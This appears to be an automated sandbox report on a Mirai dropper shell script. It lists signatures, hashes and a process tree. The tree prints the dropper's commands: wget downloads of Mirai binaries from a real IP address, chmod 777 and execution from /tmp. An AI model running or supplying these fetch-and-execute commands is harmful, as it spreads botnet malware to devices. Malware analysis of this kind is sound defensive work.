Analysis

  • max time kernel
    133s
  • max time network
    136s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20/09/2026, 17:16

General

  • Target
    6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
  • Size 292B
  • Sample260920-vs799axt9l
  • SHA256 6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Contacts a large (1601) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Changes its process name 1 IoCs
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
    /tmp/6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
    1⤵
    • Executes dropped EXE
    PID:717
    • /bin/rm
      rm -f .m
      2⤵
        PID:719
      • /usr/bin/wget
        wget -qO .m http://176.65.148.10/mirai.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:721
      • /bin/chmod
        chmod 777 .m
        2⤵
        • File and Directory Permissions Modification
        PID:735
      • /tmp/.m
        ./.m
        2⤵
          PID:737
        • /usr/bin/wget
          wget -qO .m http://176.65.148.10/mirai.mpsl
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 .m
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/.m
          ./.m
          2⤵
          • Deletes itself
          • Changes its process name
          PID:748

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            .m

            • Path /tmp/.m
            • Size 703KB
            • SHA256 07623448429a02c23d568207e8ff42f08578bdc7fc626d0aa1ad5a56f880853d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            .m

            • Path /tmp/.m
            • Size 703KB
            • SHA256 1ff24d746d38ce91b6f883c08538f3244ff3f4e20db51bb055140f02deaebc01
            • MD5 SHA1 SHA512 SSDEEP TLSH